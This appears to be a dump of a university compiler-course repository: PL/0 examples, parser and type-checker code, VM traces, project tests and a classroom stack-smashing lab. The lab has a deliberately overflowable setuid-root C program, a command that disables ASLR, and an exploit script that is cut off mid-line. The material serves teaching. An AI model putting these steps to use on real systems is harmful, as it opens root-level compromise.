factorial(x)); 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /notes/01-15/nestedfunction.pl0: -------------------------------------------------------------------------------- 1 | var b : bool 2 | var x : int 3 | function f(x : int) : bool 4 | function g(x : int) : int 5 | begin 6 | return x + 1 7 | end 8 | begin 9 | return g(x) > 5 10 | end 11 | begin 12 | x:=4 13 | write f(5) 14 | end 15 | -------------------------------------------------------------------------------- /notes/01-17/01-17 regex.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-17/01-17 regex.pdf -------------------------------------------------------------------------------- /notes/01-22/01-22 automata.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-22/01-22 automata.pdf -------------------------------------------------------------------------------- /notes/01-22/Class notes-01-22-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-22/Class notes-01-22-2019.pdf -------------------------------------------------------------------------------- /notes/01-24/01-24 lexer.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-24/01-24 lexer.pdf -------------------------------------------------------------------------------- /notes/01-24/Class notes-01-24-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-24/Class notes-01-24-2019.pdf -------------------------------------------------------------------------------- /notes/01-29/01-29 grammar.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-29/01-29 grammar.pdf -------------------------------------------------------------------------------- /notes/01-29/diagrams.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-29/diagrams.pdf -------------------------------------------------------------------------------- /notes/01-31/01-31 top-down.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-31/01-31 top-down.pdf -------------------------------------------------------------------------------- /notes/01-31/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o parser parser.c 3 | gcc -o parser2 parser2.c 4 | -------------------------------------------------------------------------------- /notes/01-31/parser_example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/01-31/parser_example.png -------------------------------------------------------------------------------- /notes/02-05/02-05 asts.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-05/02-05 asts.pdf -------------------------------------------------------------------------------- /notes/02-05/Class notes-02-05-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-05/Class notes-02-05-19.pdf -------------------------------------------------------------------------------- /notes/02-07/Class notes-02-07-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-07/Class notes-02-07-19.pdf -------------------------------------------------------------------------------- /notes/02-07/expr.md: -------------------------------------------------------------------------------- 1 | static struct Expression *expr() { 2 | // partially given to enable write NUMBER (allow user to work with tagged union) 3 | 4 | struct Expression *left = simpleexpr(); 5 | 6 | next(); 7 | if (is_relop()) { 8 | struct Expression *node = newExpression(BINARYEXPRESSION); 9 | 10 | node->binary_left = left; 11 | node->binary_op = token(); 12 | node->binary_right = simpleexpr(); 13 | return node; 14 | } else { 15 | previous(); 16 | return left; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /notes/02-07/exprlist.md: -------------------------------------------------------------------------------- 1 | // exprlist ::= expr { COMMA expr } 2 | static struct ExpressionList *exprlist() { 3 | struct ExpressionList *node = newExpressionList(); 4 | 5 | next(); 6 | if (is_token(RPAREN)) { // no arguments 7 | previous(); 8 | } else { // has arguments 9 | previous(); 10 | addExpression(node, expr()); 11 | 12 | next(); 13 | while (is_token(COMMA)) { 14 | addExpression(node, expr()); 15 | 16 | next(); 17 | } 18 | previous(); 19 | } 20 | 21 | return node; 22 | } 23 | -------------------------------------------------------------------------------- /notes/02-12/README.md: -------------------------------------------------------------------------------- 1 | - [Example of LR parsing](https://www.cs.rutgers.edu/~zz124/cs415_spring2014/lectures/lr_parser_animation.pdf) 2 | - Constructing an LR(0) parser with examples [here](https://www.cs.rutgers.edu/~zz124/cs415_spring2014/lectures/lec14_synVII.pdf) and [here](https://www.cs.rutgers.edu/~zz124/cs415_spring2014/lectures/lr_states_exp.pdf) 3 | -------------------------------------------------------------------------------- /notes/02-12/lr_parsing.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-12/lr_parsing.pdf -------------------------------------------------------------------------------- /notes/02-14/02-14 types.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-14/02-14 types.pdf -------------------------------------------------------------------------------- /notes/02-14/README.md: -------------------------------------------------------------------------------- 1 | - [Lecture slides](02-14%20types.pdf) 2 | - [Class notes](class_notes.md) 3 | - [Diagrams from class](typechecker_ast_traversal.pdf) 4 | - Python examples: [floatingpoint.md](floatingpoint.md), [dynamic.py](dynamic.py) 5 | - C examples: [static.c](static.c), [unsafe.c](unsafe.c) 6 | - PL0 example with type error: [type_error.pl0](type_error.pl0) 7 | -------------------------------------------------------------------------------- /notes/02-14/dynamic.py: -------------------------------------------------------------------------------- 1 | print "STARTED RUNNING" 2 | 3 | x = "degrees" 4 | 5 | 6 | x = 1.7 + " degrees" 7 | y = 1.7 * 2 8 | print y 9 | -------------------------------------------------------------------------------- /notes/02-14/floatingpoint.md: -------------------------------------------------------------------------------- 1 | >>> 10*(float(1)/10 + float(2)/10) 2 | 3.0000000000000004 3 | 4 | note that this happens in interactive mode, but not as a script. 5 | -------------------------------------------------------------------------------- /notes/02-14/static.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | printf("STARTED RUNNING\n"); 5 | 6 | double temp = (double)2; 7 | int y = 1.7 * temp; 8 | /* int y = ((void *)1.7) * (float)((void *)2); */ 9 | 10 | float yf = 1.7 * 2; 11 | 12 | printf("%x\n", y); 13 | printf("%f\n", yf); 14 | 15 | 16 | 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /notes/02-14/type_error.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int) 2 | begin 3 | x := x + 1 4 | end 5 | write 2 + f 6 | -------------------------------------------------------------------------------- /notes/02-14/typechecker_ast_traversal.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-14/typechecker_ast_traversal.pdf -------------------------------------------------------------------------------- /notes/02-14/unsafe.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | printf("STARTED RUNNING\n"); 5 | 6 | float x = 1.7; 7 | 8 | float *p = &x; 9 | int *ip = (int *)p; 10 | 11 | printf("%d\n", *ip); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /notes/02-19/Class notes-02-19-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-19/Class notes-02-19-2019.pdf -------------------------------------------------------------------------------- /notes/02-19/ershov.pl0 2019-02-19 19_30_17.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-19/ershov.pl0 2019-02-19 19_30_17.pdf -------------------------------------------------------------------------------- /notes/02-19/function.pl0 2019-02-19 19_29_55.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-19/function.pl0 2019-02-19 19_29_55.pdf -------------------------------------------------------------------------------- /notes/02-19/typechecking_procedure_example.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-19/typechecking_procedure_example.pdf -------------------------------------------------------------------------------- /notes/02-19/unaryexpression.c: -------------------------------------------------------------------------------- 1 | static void visitUnaryExpression(struct Expression *node) { 2 | // given 3 | visitExpression(node->unary_expression); 4 | struct DataType *operand_type = node->unary_expression->datatype; 5 | switch (node->unary_op->kind) { 6 | case MINUS: 7 | // int -> int 8 | if (isInt(operand_type)) { 9 | node->datatype = getInt(); 10 | } else { 11 | type_error(EXPRESSION_EXPECTED_INT); 12 | } 13 | break; 14 | case NOT: 15 | // bool -> bool 16 | if (isBool(operand_type)) { 17 | node->datatype = getBool(); 18 | } else { 19 | type_error(EXPRESSION_EXPECTED_BOOL); 20 | } 21 | break; 22 | default: 23 | assert(false); // not supposed to happen if parser is correct 24 | break; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /notes/02-21/Class notes-02-21-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-21/Class notes-02-21-19.pdf -------------------------------------------------------------------------------- /notes/02-26/class-notes-02-26.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-26/class-notes-02-26.pdf -------------------------------------------------------------------------------- /notes/02-26/in-class_coding.md: -------------------------------------------------------------------------------- 1 | case OP_BL: 2 | LN = IP + 1; 3 | next = IP + instruction.arg1; 4 | break; 5 | 6 | case OP_RET: 7 | next = reg[instruction.arg1]; 8 | break; 9 | 10 | case OP_LD: 11 | reg[instruction.arg1] = mem[reg[instruction.arg2] + instruction.arg3]; 12 | break; 13 | 14 | case OP_NOP: 15 | // do nothing 16 | break; 17 | 18 | case OP_HLT: 19 | fprintf(vmtrace, "done\n"); 20 | exit(0); 21 | break; 22 | -------------------------------------------------------------------------------- /notes/02-26/p-code machine.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-26/p-code machine.pdf -------------------------------------------------------------------------------- /notes/02-28/02-28 functions.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-28/02-28 functions.pdf -------------------------------------------------------------------------------- /notes/02-28/Class notes-02-28-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-28/Class notes-02-28-2019.pdf -------------------------------------------------------------------------------- /notes/02-28/functions.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/02-28/functions.pdf -------------------------------------------------------------------------------- /notes/03-05/Class notes-03-05-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-05/Class notes-03-05-19.pdf -------------------------------------------------------------------------------- /notes/03-05/functions_and_variables/functions_and_variables.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 12 3 | psh ln sp 4 | psh fp sp 5 | mov fp sp 6 | addi sp sp 1 7 | br 1 8 | ld r0 fp -4 9 | wr r0 10 | mov sp fp 11 | pop fp sp 12 | pop ln sp 13 | ret ln 14 | addi sp sp 1 15 | ld r0 fp 1 16 | st r0 sp 0 17 | addi sp sp 1 18 | psh fp sp 19 | bl -16 20 | subi sp sp 1 21 | pop r0 sp 22 | subi sp sp 1 23 | hlt 24 | -------------------------------------------------------------------------------- /notes/03-05/functions_and_variables/functions_and_variables.pl0: -------------------------------------------------------------------------------- 1 | var global : int 2 | function f(x: int) 3 | var local : int 4 | write x 5 | f(global) 6 | -------------------------------------------------------------------------------- /notes/03-05/functions_and_variables/functions_and_variables.symtab: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | global : int @1 3 | f : (int) -> void @2 4 | scope: f, level: 1 5 | x : int @-4 6 | local : int @1 7 | -------------------------------------------------------------------------------- /notes/03-05/nested_functions/nested_functions.pcode: -------------------------------------------------------------------------------- 1 | br 24 2 | psh ln sp 3 | psh fp sp 4 | mov fp sp 5 | br 11 6 | psh ln sp 7 | psh fp sp 8 | mov fp sp 9 | br 1 10 | movi r0 1 11 | wr r0 12 | mov sp fp 13 | pop fp sp 14 | pop ln sp 15 | ret ln 16 | addi sp sp 1 17 | psh fp sp 18 | bl -12 19 | subi sp sp 1 20 | pop r0 sp 21 | mov sp fp 22 | pop fp sp 23 | pop ln sp 24 | ret ln 25 | addi sp sp 1 26 | psh fp sp 27 | bl -25 28 | subi sp sp 1 29 | pop r0 sp 30 | hlt 31 | -------------------------------------------------------------------------------- /notes/03-05/nested_functions/nested_functions.pl0: -------------------------------------------------------------------------------- 1 | function f() 2 | function nested() 3 | write 1 4 | nested() 5 | f() 6 | -------------------------------------------------------------------------------- /notes/03-05/nested_functions/nested_functions.symtab: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | f : () -> void @1 3 | scope: f, level: 1 4 | nested : () -> void @5 5 | scope: nested, level: 2 6 | -------------------------------------------------------------------------------- /notes/03-07/Class notes-03-07-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-07/Class notes-03-07-19.pdf -------------------------------------------------------------------------------- /notes/03-07/classroom_exercise.md: -------------------------------------------------------------------------------- 1 | static void visitBlock(struct Block *node) { 2 | visitVarDecls(node->vardecls); 3 | 4 | // skip past function definitions, since we want to start running the current function body 5 | int saved_jump = emit(VM_BR(0)); 6 | visitFuncDecls(node->funcdecls); 7 | 8 | // code_index is now the body of the function (or main) 9 | int entry_point = code_index; 10 | backpatch(saved_jump, code_index - saved_jump); // backpatch 11 | visitStatement(node->statement); 12 | } 13 | -------------------------------------------------------------------------------- /notes/03-07/functions and variables pcode.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-07/functions and variables pcode.pdf -------------------------------------------------------------------------------- /notes/03-07/functions and variables.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-07/functions and variables.pdf -------------------------------------------------------------------------------- /notes/03-07/nested functions.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-07/nested functions.pdf -------------------------------------------------------------------------------- /notes/03-19/Class notes-03-19-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-19/Class notes-03-19-2019.pdf -------------------------------------------------------------------------------- /notes/03-19/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /notes/03-19/ershov.pl0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-19/ershov.pl0.pdf -------------------------------------------------------------------------------- /notes/03-21/class_notes.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-21/class_notes.pdf -------------------------------------------------------------------------------- /notes/03-21/example if statement.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-21/example if statement.pdf -------------------------------------------------------------------------------- /notes/03-21/ifthenelse.pl0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-21/ifthenelse.pl0.pdf -------------------------------------------------------------------------------- /notes/03-28/Class notes-03-28-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-28/Class notes-03-28-19.pdf -------------------------------------------------------------------------------- /notes/03-28/static links.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/03-28/static links.pdf -------------------------------------------------------------------------------- /notes/04-02/04-02 os.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-02/04-02 os.pdf -------------------------------------------------------------------------------- /notes/04-02/Class notes-04-02-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-02/Class notes-04-02-2019.pdf -------------------------------------------------------------------------------- /notes/04-02/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /notes/04-04/04-04 control flow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-04/04-04 control flow.pdf -------------------------------------------------------------------------------- /notes/04-04/Class notes-04-04-2019.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-04/Class notes-04-04-2019.pdf -------------------------------------------------------------------------------- /notes/04-04/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /notes/04-09/Class notes-04-09-19.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-09/Class notes-04-09-19.pdf -------------------------------------------------------------------------------- /notes/04-11/README.md: -------------------------------------------------------------------------------- 1 | - [Software Security Basic Principles](https://nebelwelt.net/teaching/18-527-SoftSec/slides/03-basic_principles.pdf) 2 | - [Memory attacks](http://www.cs.columbia.edu/~suman/security_arch/memory_attacks.pdf) 3 | - Stack smashing 4 | - Classic paper: [Smashing the Stack for Fun and Profit](https://insecure.org/stf/smashstack.html) 5 | - Tutorial: [1](https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/) [2](https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/) [3](https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/) 6 | - [Practice labs](http://csapp.cs.cmu.edu/3e/labs.html) 7 | - Super Mario Lando credits warp via software exploit 8 | - https://web.archive.org/web/20150204054941/http://deanyd.net/smw/index.php?title=Credits_Warp_Run 9 | - https://www.youtube.com/watch?v=vAHXK2wut_I 10 | -------------------------------------------------------------------------------- /notes/04-11/stack_smashing/.gitignore: -------------------------------------------------------------------------------- 1 | .gdb_history 2 | classic 3 | classic.debug 4 | getenvaddr 5 | in.txt 6 | peda-session-classic.debug.txt 7 | peda-session-classic.txt 8 | -------------------------------------------------------------------------------- /notes/04-11/stack_smashing/Makefile: -------------------------------------------------------------------------------- 1 | all: classic getenvaddr 2 | 3 | classic: classic.c 4 | gcc -fno-stack-protector -z execstack $< -o $@ 5 | sudo chown root classic 6 | sudo chmod 4755 classic 7 | gcc -fno-stack-protector -z execstack $< -o $@.debug -g 8 | 9 | getenvaddr: getenvaddr.c 10 | gcc $< -o $@ 11 | 12 | clean: 13 | rm -f classic.debug getenvaddr 14 | sudo rm -f classic 15 | -------------------------------------------------------------------------------- /notes/04-11/stack_smashing/classic.c: -------------------------------------------------------------------------------- 1 | /* Compile: gcc -fno-stack-protector -z execstack classic.c -o classic */ 2 | /* Disable ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space */ 3 | 4 | #include 5 | #include 6 | 7 | int vuln() { 8 | char buf[80]; 9 | int r; 10 | r = read(0, buf, 400); 11 | printf("\nRead %d bytes. buf is %s\n", r, buf); 12 | puts("No shell for you :("); 13 | return 0; 14 | } 15 | 16 | int main(int argc, char *argv[]) { 17 | /* setuid(0); */ 18 | /* seteuid(0); */ 19 | printf("Try to exec /bin/sh"); 20 | vuln(); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /notes/04-11/stack_smashing/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from struct import * 3 | 4 | buf = "" 5 | buf += "A"*104 # offset to RIP 6 | buf += pack(" 8 | #include 9 | #include 10 | 11 | int main(int argc, char *argv[]) { 12 | char *ptr; 13 | 14 | if(argc < 3) { 15 | printf("Usage: %s \n", argv[0]); 16 | exit(0); 17 | } 18 | ptr = getenv(argv[1]); /* get env var location */ 19 | ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ 20 | printf("%s will be at %p\n", argv[1], ptr); 21 | } 22 | -------------------------------------------------------------------------------- /notes/04-11/stack_smashing/in.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | buf = "" 3 | buf += "A"*400 4 | 5 | f = open("in.txt", "w") 6 | f.write(buf) 7 | -------------------------------------------------------------------------------- /notes/04-11/stack_smashing/normal.txt: -------------------------------------------------------------------------------- 1 | AAA 2 | -------------------------------------------------------------------------------- /notes/04-16/practice final notes.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-16/practice final notes.pdf -------------------------------------------------------------------------------- /notes/04-18/practice final notes 2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cop3402spring19/syllabus/fb87c7a20bf9f917355f5a18c2ab2218d023cdf6/notes/04-18/practice final notes 2.pdf -------------------------------------------------------------------------------- /notes/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /project/README.md: -------------------------------------------------------------------------------- 1 | # Programming Project 2 | 3 | The project is a complete compiler that takes a variant of PL/0 and 4 | produces code for a virtual machine instruction interpreter. 5 | 6 | ## Documentation 7 | 8 | - Guides 9 | - [Overview](overview.md) 10 | - Project 1: [Lexer](lexer.md), [Grammar](grammar.md) 11 | - Project 2: [Parser](parser.md), [Grammar](grammar.md), [Abstract Syntax Tree (AST)](ast.md) 12 | - Project 3: [Type checking](typechecker.md), [Type specification](type_specification.md), [Abstract Syntax Tree (AST)](ast.md) 13 | - Project 4: [VM specification](vm_specification.md) 14 | - Projects 5 and 6: [Code generation](codegen.md) 15 | -------------------------------------------------------------------------------- /project/bonus.md: -------------------------------------------------------------------------------- 1 | ## Bonus Exercises 2 | 3 | 4 | - Add line:col numbering to error reporting 5 | - Add support for constants to the language 6 | - Register allocation for whole function 7 | - Improve current finite reg allocation 8 | - Implement one of the reg allocation algorithms for whole function 9 | - Data-flow analysis, optimization, and bug finding 10 | - Options: constant propagation, dead code elimination, divide-by-zero detection, register allocation, strength reduction, loop unrolling 11 | - Create a linker for the p-code 12 | - Create a foreign function interface c libraries (printf, etc) 13 | - Add a string type to the language (optionally adding string functions, built-in operations, or char array) 14 | - Add arrays to the language 15 | - Ensure non-void functions have a return statement 16 | - Look for dead-code (after return, infeasible conditions, etc) 17 | -------------------------------------------------------------------------------- /project/lexer.md: -------------------------------------------------------------------------------- 1 | ## Lexer 2 | 3 | Use the follow C standard functions to identify the character class of 4 | a _single_ character. 5 | 6 | isalpha - is a letter 7 | isalnum - is a letter or number 8 | isdigit - is a number 9 | ispunct - is a punctuation character, i.e., not a letter or digit but still printable 10 | 11 | Use the following idioms to build up the list of tokens. `new_token` 12 | and `new_identifier` are helper methods defined in `token.c` that you 13 | may use to construct the correct `Token` `struct`. 14 | 15 | token_list[token_list_i++] = new_token(EQ); 16 | 17 | token_list[token_list_i++] = new_identifier(IDENT, buffer); 18 | 19 | Use `atoi` to create the value for a `NUMBER` token. 20 | 21 | token_list[token_list_i++] = new_number(NUMBER, atoi(buffer)); 22 | 23 | Use the following idiom to save a lexeme during lexing. 24 | 25 | buffer[buffer_i++] = c; 26 | c = fgetc(lexerin); 27 | 28 | ### Debugging 29 | 30 | If your lexer is hanging, make sure the input is being advanced with 31 | `fgetc`. 32 | -------------------------------------------------------------------------------- /project/runtime.md: -------------------------------------------------------------------------------- 1 | # Run-Time Environment 2 | 3 | 4 | -------------------------------------------------------------------------------- /project/tests/assign.ast: -------------------------------------------------------------------------------- 1 | TranslationUnit 2 | | block = Block 3 | | | vardecls = TypedIdentList 4 | | | | TypedIdent 5 | | | | | identifier = x 6 | | | | | type = INT 7 | | | funcdecls = FuncDeclList 8 | | | statement = WriteStatement 9 | | | | write_expression = NumberFactor 10 | | | | | number_value = 1 11 | -------------------------------------------------------------------------------- /project/tests/assign.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 1 3 | movi r0 1 4 | wr r0 5 | hlt 6 | -------------------------------------------------------------------------------- /project/tests/assign.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | write 1 3 | -------------------------------------------------------------------------------- /project/tests/assign.tokens: -------------------------------------------------------------------------------- 1 | VAR 2 | IDENT x 3 | COLON 4 | INT 5 | WRITE 6 | NUMBER 1 7 | EOT 8 | -------------------------------------------------------------------------------- /project/tests/assign.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @0 3 | TranslationUnit 4 | | scope = 5 | | block = Block 6 | | | vardecls = TypedIdentList 7 | | | | TypedIdent 8 | | | | | symbol = .x 9 | | | | | identifier = x 10 | | | | | type = INT 11 | | | funcdecls = FuncDeclList 12 | | | statement = WriteStatement 13 | | | | write_expression = NumberFactor 14 | | | | | ershov = 1 15 | | | | | datatype = int 16 | | | | | number_value = 1 17 | -------------------------------------------------------------------------------- /project/tests/assign.vmout: -------------------------------------------------------------------------------- 1 | 1 2 | -------------------------------------------------------------------------------- /project/tests/assign.vmtrace: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) addi sp sp 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0| 0 9 | i: 0| 1 10 | fp: fp| 11 | sp: | sp 12 | (ip=1) br 1 13 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0| 0 15 | i: 0| 1 16 | fp: fp| 17 | sp: | sp 18 | (ip=2) movi r0 1 19 | registers: r0=1, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0| 0 21 | i: 0| 1 22 | fp: fp| 23 | sp: | sp 24 | (ip=3) wr r0 25 | registers: r0=1, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0| 0 27 | i: 0| 1 28 | fp: fp| 29 | sp: | sp 30 | done 31 | -------------------------------------------------------------------------------- /project/tests/bad_type.pcode: -------------------------------------------------------------------------------- 1 | type error: type of return value does not match function 2 | -------------------------------------------------------------------------------- /project/tests/bad_type.pl0: -------------------------------------------------------------------------------- 1 | function bob(x : int) : int 2 | begin 3 | write 2 4 | return true 5 | return 1 6 | end 7 | begin 8 | bob(false) 9 | bob(1, false) 10 | bob(1) 11 | write -false 12 | write not 1 13 | write 3 < 10 14 | write 3 < true 15 | end 16 | -------------------------------------------------------------------------------- /project/tests/bad_type.tokens: -------------------------------------------------------------------------------- 1 | FUNC 2 | IDENT bob 3 | LPAREN 4 | IDENT x 5 | COLON 6 | INT 7 | RPAREN 8 | COLON 9 | INT 10 | BEGIN 11 | WRITE 12 | NUMBER 2 13 | RETURN 14 | TRUE 15 | RETURN 16 | NUMBER 1 17 | END 18 | BEGIN 19 | IDENT bob 20 | LPAREN 21 | FALSE 22 | RPAREN 23 | IDENT bob 24 | LPAREN 25 | NUMBER 1 26 | COMMA 27 | FALSE 28 | RPAREN 29 | IDENT bob 30 | LPAREN 31 | NUMBER 1 32 | RPAREN 33 | WRITE 34 | MINUS 35 | FALSE 36 | WRITE 37 | NOT 38 | NUMBER 1 39 | WRITE 40 | NUMBER 3 41 | LT 42 